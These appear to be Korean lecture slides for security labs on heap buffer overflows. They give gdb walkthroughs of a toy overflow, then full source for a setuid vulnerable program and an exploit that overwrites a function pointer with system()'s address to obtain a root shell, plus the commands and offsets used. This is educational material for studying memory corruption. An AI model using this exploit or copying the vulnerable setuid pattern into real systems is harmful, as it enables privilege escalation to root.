실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 heap_test_01.c, heap_test_02.c 컴파일 heap_test_02.c는 gdb에서 디버깅할 예정이므로 -g 옵션 주어 컴파일 [그림 7-26] heap_test_01.c, heap_test_02.c 컴파일 1 gcc -o heap_test_01 heap_test_01.c gcc -g -o heap_test_02 heap_test_02.c
실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 heap_test_01 실행 결과 확인 malloc 함수 이용 힙에 메모리 공간 할당한 두 버퍼 값(buf1, buf2)의 오버플로우 전후 값 변화 확인 [그림 7-27] heap_test_01 실행 결과 이 결과를 가져온 것은 heap_test_01.c의 memset(buf1,‘ B’, (u_int)(address_diff +OVERSIZE)); 부분, address_diff(24, 0x18)과 OVERSIZE(8) 값을 더한 만큼 buf1에 입력. 즉 buf2가 OVERSIZE(8)만큼B 문자로 덮어씌워짐 2 ./heap_test_01 항목 오버플로우 전 내용 오버플로우 후 내용 buf1 없음 B 문자 32(24+8)개와 A 문자 7개 buf2 A 문자 15개 B 문자 8개와 A 문자 7개
실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 heap_test_02 실행 결과 확인 heap_test_02를 실행 [그림 7-28] heap_test_02 실행 결과 3 ./heap_test_02
실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 gdb로 heap_test_02의 main 함수 확인 [그림 7-29] gdb를 통한 heap_test_02 실행과 main 함수 어셈블리어 확인 4 gdb ./heap_test_02 disass main
실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 main 함수의 내용을 어셈블리어 분석 0x8048440 <main>: push %ebp 0x8048441 <main+1>: mov %esp,%ebp 0x8048443 <main+3>: sub $0xc,%esp 0x8048446 <main+6>: push $0x10 0x8048448 <main+8>: call 0x8048334 <malloc> 0x804844d <main+13>: add $0x4,%esp 0x8048450 <main+16>: mov %eax,%eax 0x8048452 <main+18>: mov %eax,0xfffffff8(%ebp) 0x8048455 <main+21>: push $0x10 0x8048457 <main+23>: call 0x8048334 <malloc> 0x804845c <main+28>: add $0x4,%esp 0x804845f <main+31>: mov %eax,%eax 0x8048461 <main+33>: mov %eax,0xfffffff4(%ebp) 0x8048464 <main+36>: mov 0xfffffff4(%ebp),%eax 0x8048467 <main+39>: mov 0xfffffff8(%ebp),%edx 0x804846a <main+42>: mov %eax,%ecx 0x804846c <main+44>: sub %edx,%ecx 0x804846e <main+46>: mov %ecx,0xfffffffc(%ebp) 0x8048471 <main+49>: push $0xf 0x8048473 <main+51>: push $0x41
실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 0x8048475 <main+53>: mov 0xfffffff4(%ebp),%eax 0x8048478 <main+56>: push %eax 0x8048479 <main+57>: call 0x8048374 <memset> 0x804847e <main+62>: add $0xc,%esp 0x8048481 <main+65>: mov 0xfffffff4(%ebp),%eax 0x8048484 <main+68>: add $0xf,%eax 0x8048487 <main+71>: movb $0x0,(%eax) 0x804848a <main+74>: mov 0xfffffffc(%ebp),%eax 0x804848d <main+77>: add $0x8,%eax 0x8048490 <main+80>: push %eax 0x8048491 <main+81>: push $0x42 0x8048493 <main+83>: mov 0xfffffff8(%ebp),%eax 0x8048496 <main+86>: push %eax 0x8048497 <main+87>: call 0x8048374 <memset> 0x804849c <main+92>: add $0xc,%esp 0x804849f <main+95>: mov 0xfffffff4(%ebp),%eax 0x80484a2 <main+98>: push %eax 0x80484a3 <main+99>: push $0x8048540 0x80484a8 <main+104>: call 0x8048364 <printf> 0x80484ad <main+109>: add $0x8,%esp 0x80484b0 <main+112>: xor %eax,%eax 0x80484b2 <main+114>: jmp 0x80484b4 <main+116> 0x80484b4 <main+116>: leave 0x80484b5 <main+117>: ret
실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 u_long address_diff;까지 실행 확인 main 함수에 브레이크 포인트 설정, 실행 u_long address_diff; 다음인 char*buf1 = (char *)malloc(16);에서 실행 멈춤 [그림 7-30] main 함수 시작 포인트에 브레이크 포인트 설정 후 실행 5 break main run
실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 어셈블리어 코드의 <main+3>까지 [그림7-30]의 실행 결과에 해당 unsigned long 값인 address_diff(4바이트), 포인터 주소 값인 char *buf1(4바이트)과 char *buf2(4바이트)에 대한 메모리가 12바이트(0xc)만큼 스택에 할당 스택에 할당된 12바이트의 주소에 힙 주소에 대한 포인터 값이 저장 실행 후 스택모습 : ebp 값이0xbffffd48이므로, sfp 값인0xbffffd68 앞의 세값은 u_long address_diff = 0x08049580, char *buf1 = 0x0804956c, char *buf2= 0x0804842b [그림 7-31] u_long address_diff; 실행 후 스택 확인 0x8048440 <main>: push %ebp 0x8048441 <main+1>: mov %esp,%ebp 0x8048443 <main+3>: sub $0xc,%esp info reg ebp info reg esp x/12xw $esp
실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 char *buf1 = (char *)malloc(16);까지 실행 확인 next 명령 [그림 7-32] char *buf1 = (char *)malloc(16);까지 실행 어셈블리어 코드 6 next 0x8048446 <main+6>: push $0x10 0x8048448 <main+8>: call 0x8048334 <malloc> 0x804844d <main+13>: add $0x4,%esp 0x8048450 <main+16>: mov %eax,%eax 0x8048452 <main+18>: mov %eax,0xfffffff8(%ebp)
실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 Malloc에 의해 buf1에 대한 포인터 주소 값 할당, 힙은 초기화 [그림 7-33] char *buf1 = (char *)malloc(16); 실행 후 스택 확인 buf1의힙에서의주소(0x08049668)를확인 [그림 7-34] char *buf1 = (char *)malloc(16); 실행 후 힙의 buf1 값 확인 info reg esp x/12xw $esp x/4xw 0x8049668
실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 char *buf2 = (char *)malloc(16);까지 실행 확인 char *buf1 = (char *)malloc(16); 실행과 동일 [그림 7-35] char *buf1 = (char *)malloc(16); 실행 후 스택과 힙의 buf2 값 확인 어셈블리어 코드 7 next info reg esp x/12xw $esp x/4xw 0x8049680 0x8048455 <main+21>: push $0x10 0x8048457 <main+23>: call 0x8048334 <malloc> 0x804845c <main+28>: add $0x4,%esp 0x804845f <main+31>: mov %eax,%eax 0x8048461 <main+33>: mov %eax,0xfffffff4(%ebp)
실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 address_diff = (u_long)buf2 - (u_long)buf1;까지 실행 확인 address_diff에0x18이 저장 - 0x18(24)(0x8049680 - 0x8049668) [그림 7-36] address_diff = (u_long)buf2 - (u_long)buf1; 실행 시 스택 구조 어셈블리어 코드 8 next x/12xw $esp print address_diff 0x8048464 <main+36>: mov 0xfffffff4(%ebp),%eax 0x8048467 <main+39>: mov 0xfffffff8(%ebp),%edx 0x804846a <main+42>: mov %eax,%ecx 0x804846c <main+44>: sub %edx,%ecx 0x804846e <main+46>: mov %ecx,0xfffffffc(%ebp)
실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 memset(buf2,‘ A’, 15), buf2[15] =‘ \0’;까지 실행 확인 buf2에A 문자를 15개 입력 후 확인 [그림 7-37] memset(buf2, ‘A’, 15) 실행 후 힙에서 buf2 값 확인 어셈블리어 코드 9 next x/4xw 0x8049680 0x8048471 <main+49>: push $0xf 0x8048473 <main+51>: push $0x41 0x8048475 <main+53>: mov 0xfffffff4(%ebp),%eax 0x8048478 <main+56>: push %eax 0x8048479 <main+57>: call 0x8048374 <memset> 0x804847e <main+62>: add $0xc,%esp 0x8048481 <main+65>: mov 0xfffffff4(%ebp),%eax 0x8048484 <main+68>: add $0xf,%eax 0x8048487 <main+71>: movb $0x0,(%eax)
실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기
실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 memset(buf1,‘ B’, (u_int)(address_diff + 8));까지 실행 확인 B 문자 32(24+8)개를 buf1에 입력 후 확인 [그림 7-39] memset(buf1, ‘B’, (u_int)(address_diff + 8)); 실행 후 buf1 값을 힙에서 확인 buf2 영역이었던 메모리 영역까지 buf1의B(42) 문자 저장 여기에서 힙 버퍼 오버플로우가 일어난 것 10 next x/12xw 0x8049668
실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기
실습 7-3 gdb 분석을 통해 취약 프로그램의 힙 버퍼 오버플로우 개념 이해하기 어셈블리어 코드 0x804848a <main+74>: mov 0xfffffffc(%ebp),%eax 0x804848d <main+77>: add $0x8,%eax 0x8048490 <main+80>: push %eax 0x8048491 <main+81>: push $0x42 0x8048493 <main+83>: mov 0xfffffff8(%ebp),%eax 0x8048496 <main+86>: push %eax 0x8048497 <main+87>: call 0x8048374 <memset> 0x804849c <main+92>: add $0xc,%esp
실습 7-4 힙 버퍼 오버플로우 수행하기 힙 버퍼 오버플로우 취약점을 이용해 관리자 권한의 셸을 획득하는 실습 heap-bugfile.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <dlfcn.h> #define ERROR -1 int fucntion(const char *str){ printf("function 포인터에 호출되는 정상적인 함수\n", str); return 0; } int main(int argc, char **argv){ static char buf[16]; static int(*funcptr)(const char *str); if(argc <= 2) { fprintf(stderr, "사용법: %s <buffer> <fucntion's arg>\n", argv[0]); exit(ERROR); printf("system() 함수의 주소 값 = %p\n", &system); funcptr = (int (*)(const char *str))fucntion; memset(buf, 0, sizeof(buf)); strncpy(buf, argv[1], strlen(argv[1])); (void)(*funcptr)(argv[2]);
실습 7-4 힙 버퍼 오버플로우 수행하기 heap-exploit.c#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #define BUFSIZE 16 // 함수 포인터(funcptr)과 buf와의 거리 #define BUGPROG "./heap-bugfile" // 취약 프로그램의 위치 #define CMD "/bin/sh" // 실행할 명령 #define ERROR -1 int main(int argc, char **argv){ register int i; u_long sysaddr; static char buf[BUFSIZE + sizeof(u_long) + 1] = {0}; if(argc <= 1){ fprintf(stderr, "Usage: %s <offset>\n", argv[0]); exit(ERROR); } sysaddr =(u_long)&system - atoi(argv[1]); printf("Trying system() at 0x%lx\n", sysaddr); memset(buf, 'A', 16); for(i = 0; i < sizeof(sysaddr); i++) buf[BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255; execl(BUGPROG, BUGPROG, buf, CMD, NULL); return 0;
실습 7-4 힙 버퍼 오버플로우 수행하기 heap-bugfile.c 컴파일, 권한 부여 1 gcc -o heap-bugfile heap-bugfile.c chmod 4755 heap-bugfile ls -al 2 ./heap-bugfile 10 wishfree
실습 7-4 힙 버퍼 오버플로우 수행하기 공격 코드 컴파일 gcc -g -o heap-exploit heap-exploit.c 3 gcc -g -o heap-exploit heap-exploit.c ls -al
실습 7-4 힙 버퍼 오버플로우 수행하기 힙 버퍼 오버플로우 공격 수행 공격 시 오프셋(Offset) 값 임의로 입력 heap_bugfile의 System() 주소값과 공격코드heap-exploit 이 시도하는 system() 함수의 주소 값을 일치시키는 값을 찾음 임의로 8을 입력하면 0x8048400가 0x80484fc와 4바이트 차이 오프셋을 12바이트로 공격 시도, 관리자 권한의 셸이 뜨는 것 확인 [그림 7-44] 임의의 값을 인수로 입력해 heap-exploit 실행 [그림 7-45] system 함수의 주소 값이 일치하도록 인수 값 입력 후 heap-exploit 실행 4 ./heap_exploit 8 ./heap_exploit 12
실습 7-4 힙 버퍼 오버플로우 수행하기 힙 버퍼 오버플로우 공격 내용 확인 heap-exploit.c의 ‘execl(BUGPROG, BUGPROG, buf, CMD, NULL);’에 브레이크 포인트 설정, 앞서 공격 성공한 인수 값12 넣고, run 명령으로 heap-exploit 실행 [그림 7-46] 공격 내용 분석을 위한 브레이크 포인트 설정 후 heap-exploit 실행 5 gdb heap_exploit list 28, 31 break 31 run 12
실습 7-4 힙 버퍼 오버플로우 수행하기 실질적 공격은 브레이크 포인트 설정한 execl 함수에서 실행 execl은 시스템에서 라이브러리로 제공되는 exec 계열 함수 중 하나, 현재 프로세스 이미지의 실행 파일을 실행해서 새로운 프로세스 이미지 획득 브레이크 포인트를 설정한 함수의 내용을 여기에 맞춰보면 다음과 같다. •const char *path - BUGPROG : ./heap-bugfile •const char *arg0 - BUGPROG : ./heap-bugfile •const char *arg1 - buf •const char *arg0 - CMD : /bin/sh int execl(const char *path, const char *arg0, ... , const char *argn, NULL); execl(BUGPROG, BUGPROG, buf, CMD, NULL);
실습 7-4 힙 버퍼 오버플로우 수행하기 실제 셸에서 다음과 같이 실행된 것과 같다. buf 값을 gdb에서 확인 ./heap-bugfile buf /bin/sh [그림 7-47] buf 주소와 힙에서 buf 값 확인 print buf print &buf x/16xw &buf
실습 7-4 힙 버퍼 오버플로우 수행하기 힙 주소에 저장된 buf 값 heap-exploit.c는 다음과 같은 형태의 공격 수행 공격 수행 결과 힙의 funcptr 값이 system 함수가 있는 0x080483fc로 바뀜 /bin/sh을 인수로 실행하여 system(/bin/sh) 명령을 수행한 것과 같은 결과 주소 값 0x80696a4 0x41414141 0x41414141 0x41414141 0x41414141 0x080483fc ./heap-bugfile '0x41414141 0x41414141 0x41414141 0x41414141 0x080483fc' /bin/sh